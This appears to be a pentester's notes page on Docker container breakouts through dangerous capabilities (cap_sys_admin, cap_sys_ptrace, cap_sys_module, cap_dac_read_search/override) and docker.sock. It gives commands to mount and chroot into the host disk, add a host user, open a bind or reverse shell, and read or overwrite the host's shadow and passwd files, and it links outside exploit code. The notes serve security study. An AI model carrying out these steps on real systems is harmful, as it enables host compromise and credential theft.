Container Breakouts

cap_sys_admin Capability

Check if there is cap_sys_admin privileges in docker container.

capsh --print

if you see in the result cap_sys_admin then you can continue.

  • Mount the root directory of host to container and look for the credentials or config files.

fdisk -l 
mount /dev/sda /mnt
ls -l /mnt/

chroot /mnt/ bash
find / -name password 2>/dev/null
# and check credentials in root file system.
  • Scan host machine and look for open ports

    • if there is open ssh port

chroot /mnt/ adduser turm
# give the password and it will add user to host system. 
# Then login to ssh port with that user. 

docker.sock

In the docker-container, if there is a docker.sock have a symlink to /run/docker.sock then there is possibility to do break out.

Now we will create a container inside the docker container and connect it to host

cap_sys_ptrace capability

if there is cap_sys_ptrace capability, then it is possible to inject process and create a bind shell on host it self then it is possible to jump over there via that port.

Exploit that can be found

https://www.exploit-db.com/exploits/41128

After that change that shell code inside the c file and later

later inject with PID of serveR

then connect host machine with bind shell

nc IP PORT

cap_sys_module capability

If there is cap_sys_module capability inside the docker container, then that breakout can work . This capability allows the process to load kernel modules and manipulate the kernel, which can be exploited to compromise the underlying host system's security.

Then check for the IP address of the docker. First of A.B.C.01 is for the host machine itself.

Then we should create a Makefile to compile kernel module.

Make the kernel module.

make

Listen on the port in docker container

Then in new terminal

insmod reverse-shell.ko

cap_dac_read_search capability

The cap_dac_read_search capability is important because it controls a process's ability to read and search directories/files with discretionary access control (DAC) permissions. DAC permissions determine who can access and modify specific files and directories on a system.

Later check for cap_dac_read_search capability. (https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)

We should use that c code, http://stealth.openwall.net/xSports/shocker.c

Check also is there any .dockerinit file exist.

Look which disks are mounted. mount

  • If there is /etc/ directories mounted change in exploit int main() section and add there these directories.

after adding these by using gcc compile the code.

So by that you can read shadow file of the host machine. Maybe SSH files or ssh config files of host machine can be read also.

cap_dac_override

if we have both cap_dac_read_search and cap_dac_override cap we can create a user in our container and then change host passwd and shadow files with our new created user one.

write.c file example can be found here

Last updated